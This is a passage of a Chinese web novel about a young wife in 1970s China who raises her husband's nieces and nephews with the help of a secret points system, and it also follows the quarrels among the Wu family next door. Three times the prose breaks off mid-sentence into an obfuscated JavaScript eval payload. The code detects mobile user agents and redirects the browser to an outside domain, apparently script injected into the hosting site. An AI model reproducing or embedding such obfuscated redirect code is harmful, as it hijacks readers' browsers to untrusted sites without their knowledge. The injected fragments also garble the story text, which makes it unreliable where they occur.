谭乐生‘哦’了声,收回视线,喝口豆浆,漫不经心问:“那你爸还说啥了?” “我爸说娶媳妇就得娶家里家外一把罩,能撑事,屁股大好生养的……” 谭乐生似笑非笑。 谭文宣狐疑。 不自信地回想了一遍,自己没说错啊,姥姥跟那几个老太太就是这么跟妈说的。 妈听完喜笑颜开,都合不拢嘴。 这就说明,一个家庭对儿媳妇的基本要求就是这样呀。 难道自己弄错了? “……小、小叔,你笑什么?” 谭乐生啧了声,意有所指道:“看来你爸去北方建设兵团后,思想得到了很大的升华啊。” “啊?”谭文宣懵了懵。 谭乐生唇角微勾,嗤笑:“从封建到半封建,怎么不算一种升华?” 谭文宣小脸一红。 小眼神发飘,开始提溜提溜的转。记忆里的父亲严肃板正,很爱训人。 经常挂在嘴边的是“该你问吗,该你做的、说话做事有没有规矩”这类…… 确实不可能说出背后嚼舌根的话。 “小叔……” 谭乐生见他发窘,没揪着不放非得教育一番。反正明亚说起这事眉飞色舞,显然乐在其中,完全把大侄子当打发时间的乐子了。 他装作没听见,侧首瞥了眼故意霸占油条,不给谭文明的高阳。 长臂一伸。 什么话也没说,直接拿走他碗里多的那根放到谭文明碗里。 高阳噘嘴。 对着舅舅面无表情的脸,没敢摔碗撒气。 高欢则万事不管。 大表哥说话她左耳进右耳出,哥哥弟弟争油条她也不掺和,闷头吃她的。 早就被油条香迷糊了。 “舅舅,咱可以让舅妈以后都甭做饭了不?” 突然,她蹙着淡眉,奶声奶气问。 谭乐生:“为什么呀?” “因为做饭很累呀,咱不能让舅妈累着~~~~~” 谭文宣“噗嗤”一声,“小叔,看吧,不是我一个人觉得小婶做饭不好吃,欢欢也这么想的。” 岂止难吃。 分明是下了毒的泔水! 也就什么都不用加的水煮蛋、水煮红薯能入口。 谭乐生微笑:“你是大孩子,既然觉得你小婶做的不合你们的胃口,那明天开始你就学习烧菜做饭。” 谭文宣脸色一变。 “小叔,我是男孩子。做饭扫地是女孩子干的,我怎么能学呢?” 谭乐生:“为什么不行,你比妹妹多只小麻雀就能不干活了?文宣,要求是给自己的,不是给别人的。你既然觉得你小婶做饭不可忍受,那就自己来。以后她做饭你就在旁边看着学,给你两个礼拜时间,如果你笨得连做饭这么简单的事学不会……” 谭文宣听前面满心不愿。 他妈说了,他就是最聪明的小孩,以后是家里的顶梁柱。 男人的眼睛得盯在高处,不能老盯在家里那一亩三分地,家里的一切事情由女人做就好。 可听到后面,小孩儿的胜负欲被激起来了,“不可能,我肯定能学会,我才不笨。” 他能比那女人差? 谭乐生深深看了他一眼。 意味深长:“希望你的聪明不是说说而已,我很期待尝尝你的手艺,欢欢,你们也很想吃哥哥做的饭吧?” 三小只就是别人说啥他们就应啥,纯纯应声虫。 小孩嘛,除了吃,就是玩。 一听哥哥会做饭,三双眼睛布灵布灵闪着光,谭文宣的身影在他们心里变得无比高大,只觉得: 哇,好厉害啊。 我哥哥天下第一厉害,崽很骄傲! 一个个全都激动得不得了,在凳子上动来动去,浑似屁股下面有钉子。 “锅锅你要煮什么,可以煮甜甜的南瓜吗~~~~” “表哥,我想吃鱼鱼。” “我要辣辣的大肉片……” 他还没开始学,弟弟妹妹就巴拉巴拉点菜了,谭文宣头疼死了。 想说自己不学,又怕破坏了“大哥”形象。 只能死鸭子赶上架,装得很自信的样子:“行,等我学一学,过阵子你们想吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|12292021|128805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么我就煮什么,肯定比那女……咳,小婶煮的好吃。” “哇~~~” 这番自信宣言又引得小孩们欢呼。 谭乐生看看一得意完就苦着脸发愁的大侄子,摇头失笑。 死要面子活受罪。 真不知道谭民生两口子怎么教的。 才几岁啊,就教得孩子爱面子、骄傲过头、内心还瞧不起女同志。 小心思跟那莲藕似的,密密麻麻。 你说他学了谭民生的大男子主义呢,又使一些弯弯绕绕、旁敲侧击的手段…… 就别扭。 可话又说回来,如果自己跟明亚是直愣性子,如果自己跟谭民生、谭念生兄妹俩感情好一些,没准就关心则乱,真被这隔三岔五的挑拨弄得夫妻失和了。 毕竟他才多大。 都是孩子,谁会无端端就怀疑他们的话呢? 好在明亚不是哄孩子、讨好孩子的传统长辈,自己也没那么瞎。 让这小子多遭几次打击,应该能把他别扭的性子掰一掰。 奚明亚起床就听说几个小的嫌弃她做饭难吃的事,她瞪着眼,没好气道:“难吃你们还吃得一点不剩?” “可素不吃肚子会饿饿呀~~~” 小姑娘眼睛眨巴着,表情认真,实在可爱,奚明亚差点被她逗喷了。 “那可惜咯,我水平就这样,难吃你们也得继续吃。” 奚明亚故意气他们。 结果—— “才不用,表哥说,以后他来做饭。” “舅妈,我锅锅什么都会~~~~” 小文明挺着刚吃撑的小肚子炫耀,奶声奶气又铿锵有力。 “对,大哥说他要学做饭,我们很快就不用吃舅妈你做的了,略略略~~~” “大哥,是不是?你肯定煮得比舅妈好吃。” “如果不好吃,那我们,那我们就跟大哥一起吃屎……” 奚明亚:“噗——” 怎么还对吃屎念念不忘啊。 再看谭文宣,果然小脸臊得通红,气呼呼地瞪着高阳。 而毫无察觉的高阳叉着腰:“舅妈你不许笑!”他还记得哥哥说他们要时刻跟舅妈作对,不能让舅妈以为他们好欺负的话。 不等谭文宣表态,他先一步代谭文宣把军令状给立好了:“大哥肯定能行,我们才不是你想欺负就能欺负的小崽子,哼~~~~” 谭文宣表情一变。 小心翼翼瞅小叔小婶。 看两人反应平平,好似没怀疑他在背后教高阳,稍稍松了口气。 生怕他们又说出什么来。 被蠢弟弟蠢妹妹强行拱上去的谭文宣就算脸发僵,也只能咬着牙附和:“我能学会的,阳阳,你们等大哥给你们做饭。” 说完他希冀的目光飞到奚明亚身上。 心忖坏女人但凡有点长辈样,这时候就该站出来说不需要自己学,她会主动精进厨艺的话了。 哪晓得奚明亚眼睛微眯。 似笑非笑:“先别说大话,万一半途而废又要丢人了。” 小样儿。 吹完牛皮还想让我兜底,没门儿。 十岁上下的孩子果然经不起激,面红耳赤反驳:“我肯定有始有终,你少小看人。” 奚明亚眼睛弯成月牙。 笑容略浮夸了些。 没再质疑,而是话锋一转,不吝赞美:“呀,小男子汉不得了诶,很有当哥哥的风范嘛。为了让弟弟妹妹吃得好宁愿挤出玩的时间练习做菜,你真是太棒了。” 谭乐生别开脸。 在几个孩子看不见的角度迅速调整不受控制的嘴角。 他怕晚一秒就要被媳妇儿做作浮夸的夸奖给逗得笑出声来。 等再次转回身,果然就见大侄子目瞪口呆。他干咳一声,“加油!” 谭文宣张大嘴。 来真的? 他看看小叔认真的眼眸,又侧首对上奚明亚狡黠的笑容,瞬间明白自己又被耍了,她就是故意想看自己的笑话。 小孩绷着脸,紧紧咬着牙,气得鼻翼不住翕动。 眼神倒是愈发坚定。 他暗暗下了决心,他是不会输的,坏小婶别想自己求她。 26.第 26 章 四个小孩回房背书包。 奚明亚小声问谭乐生,“真那么难以下咽?” 谭乐生沉默两秒。 说:“……还行。” 奚明亚定定看他。 当自己看不出来他眼神闪躲,言不由衷吗? 哼。 “还行啊?那以后我就专门做给你吃,我再跟他们下馆子去。” 谭乐生嘴角抽抽:……大可不必呀。 “好吧,是不怎么好吃。”为了自己的胃着想,谭乐生表情沉痛说出了心里话。 其实早饭还好。 她早上爱偷懒,不是水煮鸡蛋、玉米棒子、水煮红薯,就是稀饭配咸菜。 味道中规中矩,难吃不到哪儿去。 中午他这两天没回来过,几个孩子也在学校吃,不知她在家里是如何凑合的。 但晚上那一顿真是绝了。 单看卖相的话,绝对比得上国营饭店出炉的,闻着吧,味儿也香。可一入嘴那味道就难以形容,奇奇怪怪,彷佛在吃猪潲水的感觉。 尤其是这两天菜里都放了肉。 蒜、葱等调料也没少搁,可就是一股子腥味儿,整盘菜吃起来又腥又水洼洼的感觉。 不能想,一想感觉那味儿回嘴里了。 谭乐生觉得有必要抢救一下:“不如……以后晚上直接吃局里食堂?” 反正公安局离槐花街不远,跟家里到棉纺厂家属院花的时间差不多。 “我休息时我来做。”谭乐生没敢承诺晚上那顿都由他来,没办法,这工作啥时候遇到事说不准的,公安局就不是能准时准点下班的单位。 奚明亚低头思考两秒。 其实她也挺嫌弃自个儿做的菜的,没有选择时吃一吃无妨。 但有好的还非得犟着吃多少显得傻。 思来想去,没必要为了争口气就为难自己,便点点头:“我看行。” “你烧菜烧得咋样啊?”她好奇。 谭乐生学她眨眼,笑得从容淡定:“应该还将就。”部队里出来的,挥两下勺子是基本操作,挥得好不好另说。 奚明亚:“真将就,还是谦虚?将就的话咱别为难自己,吃食堂吧。” “喂喂喂,我决定揽了做饭的活,你不该感动一下吗?这表现不对啊,明亚同志。”谭乐生抗议。 奚明亚哈哈笑:“感动,我感动坏了。” “那放大话的破孩子咋整?继续磨他两个礼拜再讲?” 说出去的话就得算数。 朝令夕改只会给他们传递错误信息——以后都不把你说的话当回事。 谭乐生迅速领悟其中含义,眼光赞赏:“应该的。” 两口子把孩子送到托儿所,回家谭乐生先补眠。中午他露了一手,奚明亚则在家里招待帮忙砌侧门的许叔。 下午,两人去了趟公安局辨认证物,奚明亚先回去。 接近傍晚时分谭乐生回来了,一到家谭乐生就跑屋里收拾衣服。 “要出远门啊?” 奚明亚一看他匆匆忙忙、饭都顾不上吃的样子,就猜案子肯定有不小的进展。 兴许、情况比她想象的恶劣。 谭乐生边将衣服塞进军绿色行李袋里,边说:“嗯,案子牵连得比较广,跟尼东市一个农场扯上关系了。” “大概要去多久?” 谭民生摇头:“不确定,虽然局里跟尼东市局联系过,说好联合办案。但效率嘛,难说。” 国营农场是有自己的保安队和武器的单位,不能硬上,办案也得讲究人情世故和方法。这案子眼瞅着越查越复杂,不定查到哪些大人物头上,还有得掰手腕的时候。 不过这些他没多说。 谭乐生嘴角抿成直线,心里的愧疚如同涨潮般的海浪,铺天盖地涌过来:“媳妇儿对不住,你嫁过来这几天家里的事我什么都没顾得上,全忙外头了。” 他喊过好几次媳妇儿,但每次都是顺嘴一喊。 如此郑重还是第一次。 谭乐生表情肃然,多情莲花眸里竟浮着屡屡情意,显得……他们感情怪好的样子。 奚明亚被那眼神紊乱了心跳,红晕缓缓飞上脖颈。 “这没什么呀,哈哈,反正我不怎么忙,你放心出差吧,注意安全!” “嗯。” 谭乐生眸色深深,定定看着她。 他一出门,谭文宣以为自己终于能喘口气,装失忆不做菜了。 结果奚明亚不提。 弟弟妹妹们来催他,他放学比托儿所晚半个多小时,每天他一到家,几个小的就守在厨房门口,摸着圆滚滚的肚子喊饿饿。 也不知道奚明亚怎么给他们洗脑的,三个小的还学会给他灌迷魂汤了,左一个锅锅天下第一厉害,右一个表哥是榜样…… 他想撺掇小家伙们找坏女人要吃的完全不起效果。 几个小的狂摇头。 就抱着他撒娇,非要吃他做的。 哎。 当大哥真的好难啊。 最后就成了现在这样,奚明亚边磕瓜子边口述,他围着炉子转来转去,比陀螺还忙。 他忙个不停,高欢那三个笨猪猪却跟着敌人磕瓜子这件事。 “啧啧啧” “擦擦擦” “咔咔咔” “……” 听,可烦人。 还拿沾了口水的瓜子壳砸来砸去。险些飞进锅里。 谭文宣冷着脸。 像赶小鸭子一样把弟弟妹妹全赶了出去,就连奚明亚都被他吼了出去。“你也走,步骤我都知道了,你们几个别在这儿碍事,影响我发挥。” 说完,还嫌弃地斜了奚明亚一眼,一副“我比你有用多了”的样子。 奚明亚:…… 见自己的忽悠日渐出成效,奚明亚心里偷乐,嘴上故作‘恼羞成怒’:“能炒熟就翘尾巴了?哼,我是天赋没点在厨艺上,你要是觉得自己做饭厉害,跟饭馆比去啊。” 谭文宣才不气。 听出奚明亚有暗夸自己的意思,他心里正美着呢。 “吹牛。” 他才不信做饭这么简单都干不好的人能有别的天赋呢。 奚明亚‘气哼哼’出去。 谭文宣以为终于扳回了一城,唇角翘起,又得意上了。 而奚明亚呢,忽悠三个小孩扫院子。 不。 不叫扫。 根本就是玩儿。 高欢仨人举着刚做好的迷你扫帚,跑来跑去,挥来舞去。 地上的落叶一会儿被刮到这边,一会儿又扫到那头,三小只忙得不亦乐乎,出了一身汗,可院子还是那个院子。 奚明亚也没指望他们真把活儿给干了,思忖着四五岁干不好,待培养出习惯七八岁指定行。 她家就有三个活例子呢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|12304898|128805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪个不是从不会到会,从不乐意到乐意,再说,小孩子多动动对身体也好呀。 嗯,不是她想偷懒~~~ 她搬了椅子坐正屋檐廊下,时不时指一下没扫到的地方,顺带给大闹天宫的小孩们拍照。 她在测试系统的随机加分功能。 奚明亚发现只要自己存下几个孩子的照片,不论是哭了笑了,都有积分。 昨日她无聊,给三小只称了体重,系统给了积分。 清晨除了吃饭照打卡,顺手打卡了一张高欢被高阳拽着跑进幼儿园,兄妹俩摔成一团的图,竟直接给了二十分。 奚明亚怀疑系统能监测到几个孩子的心理变化,只是这项数值被隐藏了。 她很好奇,到底是什么人创造了它呢? 把如此高科技的产物用来监督孩子活着还是死了,会不会太浪费了点? 如果说几个孩子是绝世天才,系统要保障他们未来能给社会做出巨大贡献,类似故事里神仙保佑文曲星武曲星那样的,也该暗示照顾他们的人往哪方面培养,不是吗? 可它没有要求。 没有限定孩子要养成什么样。 没有要求考试得多少分证明抚养人在监督学习上的用心,也没要求孩子干多少助人为乐的好事证明他们的品行被教养得不错。 没有,通通没有。 只有粗暴的生活打卡。 随机分高但可有可无,反正就算达不到,作为绑定者的自己亦没有任何惩罚。 哦,对了。 她还发现了一点,只要有高欢的照片积分就给得很宽容。 她想不通系统的给分逻辑,她试图理解它。如果把系统当成一个“人”。 那么,它表现出来的便是跟高欢最亲近,其他三个像附带的。 自己则是附带又附带的那一个。 想了一会儿,奚明亚没想出个所以然,看着极速增长到268的积分,默默将高欢的重要性往上提了提。 “欢仔~~~” 高欢懵逼回头,就见舅妈笑容深深向她招手。 “啊?”欢仔?是喊我吗? “快来,快来。” 小丫头不像表哥那样对舅妈身怀戒心,确定是在叫自己,拖着扫把就蹬蹬蹬跑了过去,“舅妈,你喊我做什么呀?” 奚明亚伸手轻捏着Q弹嘟嘟晃动的脸颊:“没什么呀,就是觉得欢仔你老可爱了。” “嘿嘿~~~~” 高欢抿了下嘴,努力绷着脸,结果秒破功,实在绷不住嘿嘿傻乐。 边傻笑边半边身体趴奚明亚身上。 小腿翘啊翘,可爱到不偿命道:“舅妈,我脸脸是不是像棉花糖,是不是很好捏呀?” “嗯嗯。”不捣蛋闯祸的小孩还是很讨人喜欢的。 小孩子不需要谁教,天生就有比较心理,还特别爱跟风。 高欢没撒一会儿娇,另外两头小牛犊子也跑过来争宠,非要奚明亚捏他们的脸蛋子。 对三个小的,奚明亚没开启嘲讽教育模式。 而是该怎么玩就怎么玩,非常配合地捏了捏他们,再挨个儿夸上一遍,咔咔拍照等着薅分。 “哎哟哎哟,你们快起开,三只小猪一起往我身上压,快把躺椅压垮了。” “嘻嘻嘻,不起来,阳阳明明用力,把舅妈压成肉饼儿~~~~~” “……”小兔崽子! 27.第 27 章 跨院开了侧门的事是几个孩子宣扬出去的。 葛嬢嬢听了后,就觉得有义务跟奚明亚聊一聊。 她倒没有坏心,就是爱管闲事。 说白了,明明是外人但就爱操着自家人的心。 谁家有点什么,尤其是年轻人做事不入她眼了,她就要去提点一番。 61号院没正儿八经的管事大爷管事大妈,葛嬢嬢这个老好人和二进院严肃的何大爷便充当邻里的调节剂。 正好,葛嬢嬢对之前谭文宣哇哇大哭的可怜样子耿耿于怀,一直想找机会跟奚明亚谈谈人生,谈谈怎么做人长辈。 她上门时,奚明亚在给金银花浇水。 “小奚啊,没打搅到你吧?” “葛嬢嬢?没打搅的,是有什么事儿吗?” 奚明亚微笑:咱也不能说你打搅不是。 “没啥大事,听说你做了侧门,过来瞧瞧。”葛嬢嬢说着,上上下下打量西厢角落的侧门。 除了规规整整的新门,厕所跟西厢房之间还砌了新灶。 她走到门边往外一瞅,哦哟,里外还做了台阶。 瞅瞅那门,那新砖,那铺台阶的青石,太浪费也太没必要了。 “你咋还做五步台阶啊,多浪费钱啊?” 奚明亚闻言,挑了下眉,不懂葛嬢嬢在心痛哪出。不过住一个院子,又无冤无仇,她很愿意尊老爱幼。 “师傅的建议,青石贵不到哪儿去。” 孙叔说这是老风俗。 五在五行当中属土,土生五行,所以五步台阶就适合大多数家庭,取让五行达到平衡,家中不易出现事故的意思,简单说,求个平安。 再者,侧面墙临街,对街夹角就是一个岔路口,口子正对着侧门位置,这在传统风水上来说就带煞了。既然马路到院墙中间距离很够。干脆将门洞抬高,留几步台阶做缓冲。 外面抬高了,里边自然也得抬。 退一步讲。 不讲风水就讲科学实际,建台阶也更好。万一有自行车、四轮车不小心撞过来,台阶还起个阻挡缓冲作用。 不过这些没必要跟外人讲,奚明亚说完,招呼葛嬢嬢进屋坐。 葛嬢嬢没进去,又凑到厕所旁边,指着新垒的灶台,一脸不赞同:“小奚,我跟你婆婆熟,你别怪我倚老卖老管你,你们家对面屋就是厨房,有炉子有柴灶,这儿再弄一个……是为了啥啊?” 奚明亚眼底开始浮现不耐烦了。 真想说你就是倚老卖老,关你什么事啊? 可想想着实没必要为这跟老太太较真,万一她急火攻心摔地上怎么办,得负责的呀。 她按捺住情绪,脸上挂着公式化的笑容:“给西厢做了炕,怕入冬后几个孩子冻着。” 关阳不像北方那样夸张,但最冷时候能到零下十几度。 她如今不愁棉被,床上八件套经常进每日特价。 可几个孩子都处于满嘴胡咧咧的年龄,说话不知轻重的,万一跟人讲他们铺两床棉絮还盖两床,人家好奇非来家里瞧一瞧,还能拦着不让看? 拦了不就说明有猫腻吗? 可一旦看了摸了,那被子又轻又软的,上了年龄的阿姨们多精明啊,肯定能发现被芯跟棉花弹的不一样。 到时候肯定各个都问: 怎么做的? 哪个厂出的,还能不能多弄几床给大家等等,能把人烦死…… 还不如换成炕,又暖和,又安全。 一听她是为了孩子才大费周章,葛嬢嬢眸光转暖, 赞同地点点头:“这倒是,不过你家就小谭一个人赚钱,你婆婆也没留下啥钱财,还是一分一厘花到实处才好,等你们有了孩子,小谭一个人养六口,负担不轻的呀。” 奚明亚耳朵动了动。 什么叫‘你婆婆没留下钱财’,外人怎么知道的? 她纳闷得很,脱口就问了。 葛嬢嬢表情尴尬,试图和稀泥岔开话题。 奚明亚就拿灼灼目光盯着她,半晌,葛嬢嬢叹气:“你婆婆去世后,前院蒋家的蒋飞白鬼鬼祟祟到跨院偷东西被撞了个正着,何大爷干脆找街道办清点你婆婆的遗物,拢共四十多块,全填了办丧的账。” 院里出了贼,葛嬢嬢觉得面上无光,说完不好意思继续指点奚明亚做事。 寻了理由离开。 奚明亚撇嘴,啧了声,打老太太遗产主意的人真是够多的。 她才不信老太太就剩下四十块呢,要么被一些人提前弄走瓜分了,要么早贴补给老大老二了。 就是一星半点都没留给谭乐生,否则谭乐生早拿出来了。 真够偏心的。 算了,人已经没了,再说好男不吃分家饭,谭乐生反正不靠老太太过日子。 奚明亚在自家折腾得起劲儿,隔壁正院也忙得很。 老吴家要娶媳妇了。 吴老三坚持摆酒请客,要风风光光把裴玉梅娶进门。 李红霞怀疑公婆私下贴补吴庆年,怂恿陈爱娣去闹,陈爱娣反过来叫她去。 李红霞气闷,只能回头跟吴老大撒气,“看看,一分家,陈爱娣尾巴就翘起来了,从前的窝囊老实全是装的,心机这么深,难怪老天爷不给她肚子里塞货,我看老二也是装憨,吴喜年,你听我讲话没?” 吴喜年面无表情,抬头睇了媳妇一眼。 “老三的事,你少掺和。” “所以,你也知道爸妈给老三拿钱了?那你怎么不拦着?” 李红霞炸了。 吴喜年眉心皱起,“没有的事。” “你少打马虎眼,爸妈不给他哪来的钱买鸡买鸭,他欠咱们两房的钱还没还清呢,老三就是鸡贼不要脸,我不管,有钱置办这些,那就先还咱们……” “小点声,嚷嚷什么呢?” “爸妈不乐意裴玉梅进门,没给老三钱,老三办酒席的钱是跟厂里工友借的。” 还找他借了五块。 吴喜年虽然反驳,但不到呵斥的地步,李红霞摸着男人的脾气,继续不乐意道:“他借这么多,什么时候能把咱们的还上?咋说都是一家人,到时候又拖拖拉拉。” 她一屁股坐小马扎上。 继续数落吴庆年,数落完吴庆年又开始数落裴玉梅:“妈就不该同意,没进门呢就把老三哄得迷迷糊糊,啥都捧着她来,跟个狐狸精似的。家里给那么多彩礼,她家就陪嫁一床棉被、一个洗脸盆,一毛钱没带回来,就隔着条街,裴家也当真好意思。” “真就不如前头那个奚明亚。” 吴喜年不爱听外人的事,“少胡咧咧。” “我又不到外头说,就在自己屋里,咱两口子随便说说也不成?你以为我光是为自己才夸她好呀,我还不是为了家里,为了咱三个儿子好。有个大方的婶子,孩子们也能沾点好,你看裴玉梅,有那么个老娘和弟弟,还没进门就让老三背那么多饥荒,往后别说对爸妈好对咱家金银铜好,怕是还需要做哥哥嫂子的帮衬他们。” 说着,她起身爬上床躺下。 背对着吴喜年,故意道:“你是没瞧见谭公安那媳妇儿手松得厉害,那么大一个院子不够她折腾的,又是往顺化街开侧门,又是砌灶砌炕,这么一弄大几十块花出去了……” 吴喜年:“那是人家谭公安有钱。” 李红霞:“……谭公安有钱,可她陪嫁也多啊,这年头舍得陪嫁自行车的有几个?车都陪了,还能不陪现钱?” 她遛弯到顺化街看过。 那门不是随意一块板子,顶端还有两个圆形的像眼睛似的凸起的莲花木雕,跟正院三处大门一样讲究,就算是旧货,那也不便宜。 花钱那么舍得,谭公安工资肯定全捏她手里了。 想着想着,忽然一个主意蹿上心头。 “诶,她既然有钱,让老三找她借呗。瓜田李下,她肯定不想谭公安知道她和老三相看过这事?” 吴喜年没吭声,但也没反驳。 李红霞继续说:“反正借谁的不是借,又不是不还。” 没准这钱还真能不还。 到时候老三寻不着借口拖延,只能按月还自家的。捏着这事当把柄,他们两口子如果敢让她不如意,她还能找谭公安告密去。 李红霞小算盘打得噼啪响,吴喜年也觉得很有道理。 只能说一句,不愧是一个被窝睡出来的两口子! 这事吴喜年没露面。 不过不稀奇。 家里一贯挑出来的事,他都是不打头的那个,让李红霞去争。 争赢了,他们这个小家庭受益;争不赢那也是李红霞个人的想法,他清清白白不沾一点事。 这回,照样是李红霞偷偷摸摸寻了吴庆年。 吴庆年一听,瞠目结舌。 直觉大嫂疯了。 要挟人要挟到公安家属头上,这不是太岁头上动土吗? 这是帮自己?害自己还差不多。 “大嫂,你甭出馊主意。我知道你是不满意大哥借了我五块钱,行了,现在就还你。” 吴庆年黑着脸。 从衣兜里掏出五块还给李红霞。 李红霞怔了怔。 好呀,好你个吴喜年啊! 背着老娘攒私房钱就算了,还不打招呼就借给老三这个无底洞,看我回去怎么跟你闹。 “老三,你大哥什么时候借你的?” 吴庆年面无表情,“刚刚,给,还你。” “哎呀,老三你真误会了。我是为你着想来的,你不是想让玉梅风风光光出嫁,手头不宽裕嘛,我就想到那谁……” 嘴上这样说,几乎是吴庆年伸手,李红霞就一把抢了过去。 五块钱全是两毛一分凑的,很厚一叠。 李红霞不放心,手指往嘴里一嗦,沾了口水开始数。数完,才后知后觉怵面无表情的吴庆年。 吴庆年表情严肃,眼神冰冷。 李红霞被盯得心里直打鼓,声音越来越小。“……那,那当我没说。” 吴庆年盯着她。 忽然就笑了,只是笑意不达眼底,令人瘆得慌。“大嫂,别以为全世界就你一个聪明人。” 李红霞: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|12312790|128805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……”嘿,不识好人心了还! 吴庆年把这事跟裴玉梅讲,“玉梅你以后不用搭理大嫂,她脑子糊涂得很。” 裴玉梅也震惊吴大嫂的脑回路。 相亲没成就得拿钱封嘴,那自己这样的望门寡岂不是该拿根绳子吊死啊? 从这事就看得出吴大嫂肯定跟自己处不来。 既然吴庆年发话,她便顺水推舟应下:“好,我不跟她一块儿,只是咱们就算分家了还住在一个屋檐下,不理人会不会不太好?万一她记恨上咱们怎么办,影响你和喜年哥的关系。” “先看看,如果以后大嫂还这么不着调,我们就搬到外头住。” 裴玉梅心里一喜。 没表现得特别明显:“这样爸妈不会同意吧?”吴庆年拉着她手捏了捏,“放心,我会说服他们的。” “嗯。” 裴玉梅倚入他怀里,信赖地点点头。 心里却开始琢磨,要找什么由头让李红霞发作一场,闹一场了。 只有大房理亏,他们才能顺利搬出去住,还能每个月少还饥荒。 如同吴家人了解裴家一样,裴玉梅对老吴家的情况也很清楚。 吴家三房人挤在不到四十平的空间里。 房间被布帘、木板隔成好几间,毫无隐私可言。 关键李红霞嘴巴不把门,人家二房的夫妻生活她都要拿出去说嘴。笑二房两个不能生,每天还要干生娃的事,床摇得嘎吱嘎吱的,吵得人休息不好。 裴玉梅完全不敢想以后李红霞也跟人讲自己和吴庆年的床事。 一想脸皮就火辣辣的臊得慌。 说句掏心窝子的话,若不是没有更好的选择,她不会选择吴庆年。想到这儿,她忍不住暗暗后悔。 如果没病急乱投医就好了。 说不定—— 就嫁给谭公安了。 只是事已至此,后悔也无用。 她只能叫自己不要多想,不要朝后看,安心经营她跟吴庆年的小家。 “不着急,我会做一个好媳妇好妯娌。我相信日久见人心,妈和大嫂不会为难我的。” “玉梅,我一定不让你受委屈。” 吴庆年被心上人的软语感动得眼眶发热,真挚承诺。 他好不容易才娶到玉梅,自然是玉梅怎么说他就怎么做。她要请奚明亚。他有些犹豫,还是同意了。 奚明亚没想到裴玉梅有一天会上门拜访。 没把人请进屋,而是站在院门口问她,“找我有事?” “明天我跟庆年请院里大伙儿吃饭,你们也来啊。” 裴玉梅笑着,一句没提上次见面的不愉快,彷佛两人没有一点恩怨,她把邻居新媳妇儿这个身份拿捏得尤为恰当。 她相貌柔和,浑身透着一股江南水乡的婉约轻愁,平心而论,这种柔肠百结的调调并不讨人厌。 可惜,奚明亚不想跟吴家打交道。 吴庆年大大得罪了她,裴玉梅当时无脑替吴庆年说话,也算小小地得罪了一下。 她爱憎分明得很,所以拒绝得十分迅速:“不好意思,那天去不了。” 裴玉梅笑容僵了一瞬,试探问:“你心里还记着上次……” “奚同志,我没有想伤害你的意思——” 奚明亚猜到她的下文了。 笑嘻嘻地摆摆手:“侮辱人的方式有很多种,你干嘛非得说我很在意你们,啧!” 她实在不想裴玉梅每次看到自己就一脸抱歉的样子。 不仅不痛快,反而让人憋火。 便敞开多说了两句:“裴同志,我说不去不意味着我记恨你们。吴庆年狗嘴里吐不出象牙确实让人很不爽,但我当场还了回去,这事在我这里就算翻篇了。说来说去,屁大点事嘛,你就觉得伤害我,到底是低看我还是高看你们自己啊?” 裴玉梅来之前就预料到奚明亚不会给自己好脸色,上回混乱中挨了几记铁砂掌让她心有余悸。 只是越躲越显得有鬼。 吴庆年虽然不是她的最佳选择。但既然选了,裴玉梅就想好好经营自己的婚姻。 绝对不允许传出她勾搭别人相亲对象,把人家搅黄了的话。 她跟李红霞那种蠢货不一样,李红霞以为传出去奚明亚会丢人,实际上这事只会影响到她和吴庆年的名声。 一个人的名声若是坏了,日子就难过了。 所以才借着邀请对方吃席来释放和解信号,但还是没想到对方说话如此……不加修饰。 让人脸上火辣辣的,感到无地自容。 “对不起,我以为——” “我说了,没必要跟我讲对不起,我去不了是因为我要回娘家。” 裴玉梅沉默。 俄尔,牵起唇角,重新岁月静好起来,“好,我明白了,那我先走了。” “再见。” 离开前,她透过半开的门往里瞥了眼。 正房廊下几盆花焉哒哒的,院子中间的银杏树冠硕大,阳光透过树冠,形成云状的阴影…… 这些,曾经离她很近啊! 28.第 28 章 第二天中午,奚明亚去托儿所接了三个小的直奔棉纺厂家属院。 至于谭文宣? 笑死,不是她不带,是人家不乐意去。 换个人大抵要难受。 但奚明亚没有‘我是你小婶,我的亲戚你就得跟着走动’的概念。 说白了,谁稀罕多一门亲啊? 她又不缺侄子,侄子尊不尊敬自己、跟自己亲不亲近,重要吗?不重要,全是虚的。 所以谭文宣说不去时,她也懒得问第二遍。心想反正他会煮面,一个人在家也饿不着。 于是。 傲娇梗着脖子等小婶婶来说好话‘求’自己的小学生只能干瞪眼。 被没心没肺的弟弟妹妹们无情抛弃了。 “舅妈~~~我们还要走多久鸭?” “转过这条巷子,就到了。” 没有谭文宣这个指导员在场,三小只非常乖巧。 